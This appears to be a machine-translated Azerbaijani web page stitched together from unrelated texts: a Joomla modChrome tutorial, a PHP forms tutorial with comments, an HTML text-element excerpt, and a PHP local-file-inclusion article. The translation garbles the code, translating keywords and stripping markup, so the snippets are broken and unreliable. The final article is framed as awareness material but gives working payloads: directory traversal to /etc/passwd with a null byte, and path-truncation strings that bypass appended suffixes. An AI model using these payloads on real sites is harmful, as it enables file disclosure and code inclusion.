Fasulye html modulları php adı. Jdoc:include - səhifədəki məzmunu göstərmək üsulu

Chrome modulun html kodunu əsas sayt şablonuna daxil etməzdən əvvəl onun son işlənməsidir. Əvvəlcədən təyin edilmiş bir neçə Chrome üslubu var (cədvəl, horz, xhtml, yuvarlaqlaşdırılmış, kontur), lakin mövcud olanlar həmişə mövcud problemlərin həlli üçün uyğun deyil.

Şablonda öz ekran tərzinizi müəyyən etmək üçün siz “html” kataloqunda “modules.php” faylı yaratmalısınız. Yəni, "my_template" adlı şablon üçün fayl burada yerləşməlidir - "templates/my_template/html/modules.php".

Bu faylda siz "modChrome_STYLE" adlı funksiya təyin etməlisiniz, burada STYLE stilinizin adıdır. Bu funksiya üç arqument alacaq - aşağıda göstərildiyi kimi $module, &$params və &$attribs:

modChrome_STYLE funksiyası ($modul, &$params, &$attribs) ( /* modulun html kodunun işlənməsi və çıxışı */ )

Bu funksiyada siz istənilən PHP kodundan istifadə edə bilərsiniz, həmçinin modulun özünün bütün parametrlərinə, onun xassələrinə və Joomla verilənlər bazasında saxlanılan istənilən məlumatlara çıxış əldə edəcəksiniz. Əsasən, sizə yalnız aşağıdakılar lazımdır

  • $module->content - modulun özünün məzmunu, birbaşa html kodu.
  • $module->title - modul menecerində idarəetmə panelində göstərilən modulun adı.
  • $module->showtitle - başlığın göstərilib-göstərilmədiyini (doğru və ya yalan) işarələyin.

modChrome_STYLE funksiyası adi PHP funksiyasıdır; burada siz tamamilə istənilən PHP kodundan istifadə edə bilərsiniz. Aşağıda bir nümunə verilmişdir, əgər başlıq ekranı modul parametrlərində aktivdirsə, başlıq mətni modul məzmunundan əvvəl göstəriləcək.

modChrome_STYLE funksiyası ($modul, &$params, &$attribs) ( if ($module->showtitle) ( echo "

" .$modul->başlıq ."

"; ) echo $module->məzmun; )

İstənilən modul parametrlərinə daxil olmaq mümkündür. Məsələn, modulu siniflə çərçivəyə salaq

>">

Siz həmçinin Chrome-da istifadə olunan öz atributlarınızı mövqe koduna əlavə edə bilərsiniz. Bunu etmək üçün mövqe etiketində öz atributlarınızı əlavə edin. Əlavə atributların adları ixtiyari olaraq təyin oluna bilər, onların hamısı $attribs assosiativ massivinə köçürüləcək;

Chrome funksiyasının praktiki nümunəsi:

funksiya modChrome_custom($module, $params, $attribs) ( if (isset($attribs["headerLevel"])) ( $headerLevel = $attribs["headerLevel"]; ) else ( $headerLevel = 3; ) if (isset) ($attribs["background"])) ( $background = $attribs["background"]; ) else ( $background = "mavi"; ) echo "

"; if ($module->showtitle) ( echo " " .$modul->başlıq .""; ) əks-səda "
"; echo $module->məzmun; echo "
"; əks-səda"
"; }

"modChrome_custom" funksiyasından istifadənin praktiki nümunələri

PHP-nin ən gözəl cəhətlərindən biri onun HTML formaları ilə işləməsidir. Burada əsas odur ki, hər bir forma elementi avtomatik olaraq PHP proqramlarınız üçün əlçatan olur. PHP-də formalardan istifadə haqqında ətraflı məlumat üçün bölməni oxuyun. Budur bir nümunə HTML forması:

Nümunə №1 Ən Sadə HTML Forması

Adınız:

Sənin yaşın:

Bu formada xüsusi bir şey yoxdur. Bu, heç bir xüsusi etiketi olmayan adi HTML formasıdır. İstifadəçi formanı doldurub təqdim düyməsini kliklədikdə action.php səhifəsi çağırılacaq. Bu faylda belə bir şey ola bilər:

Nümunə №2 Forma məlumatlarının göstərilməsi

Salam, .
Sizəillər.

Bu proqramın nümunə çıxışı:

Salam, Sergey. 30 yaşın var.

Əgər kod parçalarını nəzərə almasanız htmlspecialchars()(int), bu kodun iş prinsipi sadə və başa düşülən olmalıdır. htmlspecialchars() Zərərli HTML və ya Javascript-in səhifənizə daxil edilməməsi üçün "xüsusi" HTML simvollarının düzgün kodlanmasını təmin edir. Yaş sahəsi, bildiyimiz bir rəqəm olmalıdır, biz sadəcə olaraq çevirə bilərik tam, bu avtomatik olaraq arzuolunmaz simvollardan xilas olacaq. PHP də filtr uzantısından istifadə edərək bunu avtomatik edə bilər. $_POST["name"] və $_POST["age"] dəyişənləri PHP tərəfindən avtomatik olaraq sizin üçün təyin edilir. Əvvəllər biz $_SERVER superqlobal dəyişənindən istifadə etdik, lakin burada bütün POST məlumatlarını ehtiva edən $_POST superqlobal dəyişəndən də istifadə edirik. qeyd et ki göndərmə üsulu formamızın (metod) POST-dur. metoddan istifadə etsəydik GET, onda bizim forma məlumatımız superqlobal dəyişəndə ​​olacaq $_GET . Alternativ olaraq, məlumat mənbəyinin əhəmiyyəti yoxdursa, siz $_REQUEST dəyişənindən istifadə edə bilərsiniz. Bu dəyişən GET, POST, COOKIE məlumatlarının qarışığından ibarətdir.

15 il əvvəl

HTTP spesifikasiyasına uyğun olaraq, server sonunda bir şeyin vəziyyətini dəyişdirmək üçün formadan istifadə edərkən POST metodundan istifadə etməlisiniz. Məsələn, səhifədə istifadəçilərə öz şərhlərini əlavə etmək imkanı verən forma varsa, buna bənzər səhifə burada, forma POST-dan istifadə etməlidir. Əgər POST vasitəsilə əldə etdiyiniz səhifədə "Yenidən yüklə" və ya "Yenilə" düyməsini klikləsəniz, bu, demək olar ki, həmişə xətadır -- eyni şərhi iki dəfə göndərməməlisiniz. bu səbəbdən bu səhifələr əlfəcinlənmir və ya keşlənmir.

Formanız serverdən bir şey əldə etdikdə və əslində heç nəyi dəyişmədikdə GET metodundan istifadə etməlisiniz. Məsələn, axtarış motorunun forması GET-dən istifadə etməlidir, çünki veb-saytda axtarış müştərini maraqlandıra biləcək heç bir şeyi dəyişdirməməlidir və axtarış motoru sorğusunun nəticələrini işarələmək və ya keşləmək əlfəcin və ya keşləmə kimi faydalıdır. statik HTML səhifəsi.

2 il bundan əvvəl

Aydınlaşdırmağa dəyər:

POST GET-dən daha təhlükəsiz deyil.

GET vs POST seçiminin səbəbləri sorğunun məqsədi (məlumat “təqdim edirsiniz”?), sorğunun ölçüsü (URL-nin nə qədər uzun ola biləcəyinə məhdudiyyətlər var və GET parametrləri göndərilir) kimi müxtəlif amilləri əhatə edir. URL) və Fəaliyyətin nə qədər asanlıqla paylaşıla bilməsini istəyirsiniz -- Məsələn, Google Axtarışları GET-dir, çünki o, sadəcə URL-i paylaşmaqla axtarış sorğusunu başqası ilə kopyalamağı və paylaşmağı asanlaşdırır.

GET-in paylaşılması POST-dan daha asan olduğu üçün təhlükəsizlik burada yalnız nəzərə alınır. Nümunə: GET tərəfindən parolun göndərilməsini istəmirsiniz, çünki istifadəçi nəticədə URL-i paylaşa və səhvən öz parolunu ifşa edə bilər.

Bununla belə, şəbəkə bağlantısının özünü qorumaq üçün TLS/SSL tətbiq etməsəniz, GET və POST-u yaxşı yerləşdirilmiş zərərli şəxs ələ keçirmək eyni dərəcədə asandır.

HTTP üzərindən göndərilən bütün formalar (adətən 80 port) etibarsızdır və bu gün (2017), ictimai vebsaytın HTTPS-dən (əsasən HTTP + Nəqliyyat Layeri Təhlükəsizliyidir) istifadə etməməsi üçün çox yaxşı səbəblər yoxdur.

Bonus olaraq, TLS-dən istifadə etsəniz, istifadəçilərinizin trafikinizə sizin tərəfinizdən daxil edilməmiş kodu (AD) daxil etmə riskini minimuma endirmiş olursunuz.

Em elementi vurğu ilə mətn keçidini təmsil edir. Oxucunun diqqətini cümlənin və ya abzasın mənasına cəlb etmək üçün ondan istifadə edə bilərsiniz. Bunun nə demək olduğunu sizə em elementini təsvir edən dən sonra deyəcəyəm.

Cədvəl 8-6: element
Şəkil 8-3: em elementindən istifadə

Bu misalda mən cümlənin əvvəlində I (I) vurğuladım. Em elementi haqqında düşünsək, cümləni ucadan dedikdə, cümlənin suala cavab olduğunu nəzərə almış oluruq. Məsələn, təsəvvür edin ki, mən soruşdum: “Kim alma və portağal sevir?” Cavabınız belə olacaq: "Mən alma və portağal sevirəm." (Ucadan deyəndə və vurğunu I deyəndə, bu meyvələri sevən bir insan olduğunuzu açıq-aydın göstərirsiniz).

Amma soruşsam ki, "almaları sevirsən və başqa nələr?" Cavab verə bilərsiniz: "Mən alma və portağal sevirəm." Bu zaman portağalın bəyəndiyiniz başqa bir meyvə olduğunu vurğulayan son sözə vurğu ediləcək. HTML-də bu seçim belə görünür:

Mən alma xoşlayıram və portağal .

Xarici sözlərin və texniki terminlərin tərifi

i elementi ətrafdakı məzmundan fərqli xarakter daşıyan mətn parçasını bildirir. Bu, kifayət qədər qeyri-müəyyən bir tərifdir, lakin ümumi nümunələrə başqa dillərdən gələn sözlər, texniki və ya elmi terminlər və hətta insan düşüncələri (nitqdən fərqli olaraq) daxildir. i elementi təsvir edilmişdir.

Cədvəl 8-7: Element i
Şəkil 8-5: s elementindən istifadə etməklə

Mühüm mətnin müəyyən edilməsi

Güclü element vacib olan mətnin keçidini bildirir. Bu elementdə təsvir edilmişdir.

Cədvəl 8-9: Güclü element
Şəkil 8-7: u elementindən istifadə etməklə

Kiçik şriftin əlavə edilməsi

Kiçik element kiçik şrifti ifadə edir və tez-tez keyfiyyətlər və dəqiqləşdirmələr üçün istifadə olunur. B kiçik elementi təmsil edir.

Cədvəl 8-11: Element kiçik
Şəkil 8-8: Kiçik elementdən istifadə

Üst və alt işarənin əlavə edilməsi

Siz müvafiq olaraq yuxarı və alt işarəni göstərmək üçün alt və sup elementlərindən istifadə edə bilərsiniz. Bəzi dillərdə sözləri yazmaq üçün yuxarı işarələrdən, sadə riyazi ifadələrdə həm yuxarı, həm də alt işarədən istifadə olunur. Bu elementlər təqdim olunur.

Cədvəl 8-12: Alt və əlavə elementlər
Şəkil 8-9: Alt və əlavə elementlərdən istifadə

Bu, PHP daxil olmaqla sinifin ümumi zəifliyidir. Amma auditi apardığım şəxs mənə dedi ki, bu zəiflikdən istifadə etmək olmaz, ona görə də nəzərə alınmır. Onunla mübahisə etməli oldum

PHP-include nədir

Gəlin bu zəifliklə bağlı kiçik bir maarifləndirici proqram keçirək. PHP-include ixtiyari faylı, məsələn, bu kodu “daxil etməyə” imkan verən zəiflikdir:

$module=$_REQUEST["modul"]; daxildir("modullar/".$modul);

Və adətən “/etc/passwd” faylında PHP teqləri olmadığından (), sonra o, html kodunun adi php skriptində php teqlərinin arxasında göstərildiyi kimi brauzerdə göstəriləcək. Əlbəttə ki, faylları oxumaq bu hücumun mümkün tətbiqlərindən yalnız biridir. Əsas odur ki, lazımi faylları lazımi PHP kodu ilə daxil edin.

Nümunəyə qayıdaq. Gəlin onu mürəkkəbləşdirək:

$module=$_REQUEST["modul"]; daxildir("modullar/".$module."/module.class.php");

$modul = $_REQUEST [ "modul" ] ;

daxildir ("modullar/" . $module . "/module.class.php" );

Gördüyünüz kimi, indi dəyişənimizin sonunda bir sətir əlavə olunur ki, bu da bizə hər hansı bir faylı daxil etməyimizə mane olur. Beləliklə, bir çox PHP funksiyaları binar təhlükəsiz deyil, yəni belə funksiyalar NULL baytı sətirin sonu hesab edir. Skriptə bu şəkildə daxil oluruq:

script.php?module=../../../../../../../../../../../etc/passwd%00

Və əgər magic_quotes direktivi qeyri-aktivdirsə, onda biz yenidən /etc/passwd məzmununu görəcəyik.

Zəiflik varmı?

Gəlin kodumuza qayıdaq:

$module=addslashes($_REQUEST["modul"]); daxildir("modullar/".$module."/module.class.php");

$module = tire əlavə edir ($_REQUEST [ "modul" ] );

daxildir ("modullar/" . $module . "/module.class.php" );

Gördüyünüz kimi, dəyişənimiz “əlavə tire”lərdən keçməyə məcburdur və NULL baytdan istifadə etməyə çalışsaq, o, “\0”a çevriləcək və daxiletmə işləməyəcək.

Ancaq tərəqqi hələ də dayanmır! Məlum olub ki, USH-dən olan bəzi uşaqlar PHP-də maraqlı bir xüsusiyyət tapıblar: PHP fayl sistemi hücum vektorları. Məqalənin mahiyyətini qısaca ümumiləşdirmək üçün php bir neçə funksiyadan istifadə edərək yolları emal edir:

  • Yolun kəsilməsi- php yol sətirini müəyyən edilmiş MAXPATHLEN uzunluğuna qədər kəsir (Windows-da 270 simvola qədər, NIX-də - adətən 4096, BSD-də - adətən 1024)
  • Yolun normallaşdırılması— php əlavə “/” və “/” simvollarını silməklə yolu xüsusi şəkildə emal edir. və onların müxtəlif birləşmələri
  • Kanonik formaya endirmə— lazımsız keçidlər silinir, məsələn, “dir1/dir2/../dir3” “dir1/dir3/”-ə çevrilir, “dir2” kataloqunun mövcudluğu yoxlanılır və digər oxşar çevrilmələr (yəni normallaşdırmanın davamı) )

İndi sıra ilə, keçən yola nə olur:

  1. Əgər yol nisbidirsə, o zaman include_path direktivindən olan dəyərlər əvvəlcə əvəz olunur
  2. Sonra platformadan asılı olaraq yol müəyyən uzunluğa kəsilir
  3. Yol normallaşdırılır
  4. Yol kanonik formaya endirilir

İndi bundan istifadə etməyə çalışaq. Gəlin “modules/” kataloqunda yerləşən müəyyən “test.php” faylını daxil etməyə çalışaq. Bunu etmək üçün sonuna "/." işarəsini əlavə edin. belə ki, ümumi uzunluq, fayl adı və include_path-dən alınan dəyərlə birlikdə 4096 simvoldan açıq şəkildə böyükdür.
script.php?module=test.php/././.[...]/././.

Bu halda, təxmin etməlisiniz ki, bütün yol sətri (artıq kəsilmiş) kəsiklə deyil, nöqtə ilə (vacibdir!) bitsin. Bunu etmək üçün, belə bir slash əlavə edə bilərsiniz:

Və bu variantlardan biri mütləq işləyəcək.

Təhlil edilir

Yolda hansı dəyişikliklərin baş verəcəyinə baxaq
modullar/test.php//././.[...]/./././module.class.php
4200 simvol

Xəttdə baş verən ilk şey, daxil_yoldan dəyərin ona əlavə edilməsidir:
/home/site/public_html/modules/test.php//././.[...]/./././module.class.php
4223 simvol

Sonra sətir MAXPATHLEN-ə kəsilir (tutaq ki, 4096):
/home/site/public_html/modules/test.php//././.[...]/./.
4096 simvol

Burada siz nə üçün başqa bir slash əlavə etmək lazım olduğunu görə bilərsiniz (əks halda xətt kəsilmiş xəttə kəsiləcəkdi). İndi bu xətt normallaşdırılıb, ilk növbədə əlavə tireləri çıxarır:
/home/site/public_html/modules/test.php/././.[...]/./.
4095 simvol

Nəticədə bizə lazım olan faylın düzgün yolunu əldə edirik və bu yol artıq daxilə köçürüləcək və bizə lazım olan fayl daxil ediləcək.

Yəni, “test.php” faylımızı uğurla daxil edəcəyik.
script.php?module=test.php//././.[...]/././.

Bu o deməkdir ki, zəiflik nəzəri deyil. Nəticədə, müştərim mərcdən uduzdu, mən isə mərc və mərc etdiyimiz 10 rublu qazandım. Əlbəttə ki, 10 rubldan əlavə, mən də müştərinin gözündə etibar və hörmət qazandım, bu da vacibdir.

Qeydlər

Burada mən bu zəifliyin istismarının bir neçə maraqlı xüsusiyyətlərinə baxacağam.

Kataloqdan çıxın

Bu kodu nəzərdən keçirin:

) ;

RFI-dən istifadə edə biləcəyiniz və uzaq serverdən fayl daxil edə biləcəyiniz nöqtəni atlayaq. Deyək ki, serverdə “allow_url_include=OFF”.

Aşağıdakı qovluqdan bir fayl daxil etməli olduğumuz bir vəziyyəti nəzərdən keçirək:
script.php?module=../test.php/././.[...]/././.

Belə sorğu fayl tapılmadı kimi xəta yaradacaq. Və bunun ətrafında olmaq üçün onu belə adlandırmalıyıq:
script.php?module=blabla/../../test.php/././.[...]/././.

Yolların kanonlaşdırılmasını əbəs yerə təsvir etməmişəm. Bunun sayəsində “blabla” kataloqunun mövcud olması lazım deyil.

Sadə kəsiklər əlavə etmək

Diqqətli bir oxucu, yəqin ki, normallaşdırmanın təsvirində əlavə "/" və "/" kəsikli nöqtələrin silindiyini yazdım, buna görə də sonunda nöqtə ilə bitən lazımsız əngəldən qaçınmaq üçün niyə sadəcə slash istifadə etməyək.

Bütün bunlar alqoritmlərə, yəni “/” nöqtəsi olan kəsik işarəsinə aiddir. tamamilə silinir. Ancaq sadə kəsiklər ilə vəziyyət bir az daha mürəkkəbdir, normallaşdırma zamanı hər iki slash, yalnız bir (!) slash qalana qədər bir ilə əvəz olunur, məsələn:

/home/site/public_html/modules/test.php//////////////////
57 simvol

/home/site/public_html/modules/test.php/////////
48 simvol

/home/site/public_html/modules/test.php/////
44 simvol

/home/site/public_html/modules/test.php///
42 simvol

/home/site/public_html/modules/test.php//
41 simvol

/home/site/public_html/modules/test.php/
40 simvol

Kiçik bir sapma:

Üstəlik, bir çox məşhur hack resurslarına diqqət yetirsəniz, bu səhvi görəcəksiniz. Anladığım kimi, bu səhv müəyyən bir Raz0r-ın vektor təklif etdiyi məqaləsi ilə başladı:
index.php?act=../../../../../etc/passwd/////[…]/////

Və hətta jurnala da diqqət yetirin ][aker öz məqaləsində bu səhvi təkrarlayıb. Üstəlik, hətta orijinal USH məqaləsində açıq şəkildə yazılmışdır ki, sadəcə slashlardan istifadə etmək məsləhət görülmür və normallaşmadan əvvəl sonunda nöqtə simvolu qalmalıdır. Amma sadə kəsiklər (sonunda nöqtə olmasa belə) yalnız Suhosin ilə PHP-də işləyir.

Yəni “/” nöqtəsi olan slash işarəsindən istifadə edin. - daha universal üsuldur, çünki “/” kəsik işarələrindən fərqli olaraq php-nin bütün versiyaları üçün işləyir.

Nəticə

Ümid edirəm ki, bu məqalə skriptlərinizdə ən kiçik boşluqları belə tərk etməməli olduğunuzu başa düşməyə kömək edəcək, çünki gec-tez onlar üçün öz hücum vektorunuzu inkişaf etdirə bilərsiniz, bu da ciddi nəticələrə səbəb ola bilər.



Əlaqədar nəşrlər